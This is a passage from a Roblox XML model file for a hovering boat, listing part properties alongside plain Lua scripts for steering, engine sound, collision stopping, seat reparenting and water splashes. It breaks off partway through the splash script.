							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-247.5</X>
								<Y>9.5</Y>
								<Z>209</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Wire</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>5</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2960">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.100000001</X>
									<Y>1</Y>
									<Z>0.100000001</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX2961">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="VehicleSeat" referent="RBX2962">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-271</X>
							<Y>5.5</Y>
							<Z>212</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<bool name="HeadsUpDisplay">true</bool>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<float name="MaxSpeed">0</float>
						<string name="Name">VehicleSeat</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<int name="Steer">0</int>
						<int name="Throttle">0</int>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Torque">1</float>
						<float name="Transparency">0</float>
						<float name="TurnSpeed">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX2963">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0.400000006</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2964">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-262</X>
							<Y>3</Y>
							<Z>212</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Base</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>4</Y>
							<Z>30</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX2965">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX2966">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">BG</string>
							<float name="P">3000</float>
							<CoordinateFrame name="cframe">
								<X>154.300003</X>
								<Y>3.40003753</Y>
								<Z>53</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>0</X>
								<Y>400000</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyVelocity" referent="RBX2967">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">BV</string>
							<float name="P">1250</float>
							<Vector3 name="maxForce">
								<X>1000000</X>
								<Y>0</Y>
								<Z>1000000</Z>
							</Vector3>
							<Vector3 name="velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyPosition" referent="RBX2968">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">1250</float>
							<string name="Name">Hover</string>
							<float name="P">10000</float>
							<Vector3 name="maxForce">
								<X>0</X>
								<Y>INF</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="position">
								<X>0</X>
								<Y>1</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Sound" referent="RBX2969">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">true</bool>
							<string name="Name">Engine</string>
							<float name="Pitch">6</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
							<float name="Volume">1</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2970">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">EngineScript</string>
							<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2971">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-272</X>
							<Y>0.5</Y>
							<Z>212</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX2972">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX2973">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2974">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-246.5</X>
							<Y>3</Y>
							<Z>212</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">RearTip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX2975">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1</Y>
								<Z>0.600000024</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2976">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2977">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-252</X>
							<Y>0.5</Y>
							<Z>212</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX2978">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX2979">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2980">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-246.5</X>
							<Y>7</Y>
							<Z>212</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>0</R11>
							<R12>1</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">SmokeEmitter</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2981">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">1</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2982">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-289</X>
							<Y>6</Y>
							<Z>212</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>-1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Tip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>2</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2983">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX2984">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX2985">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ParentScript</string>
						<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2986">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">BoatScript</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
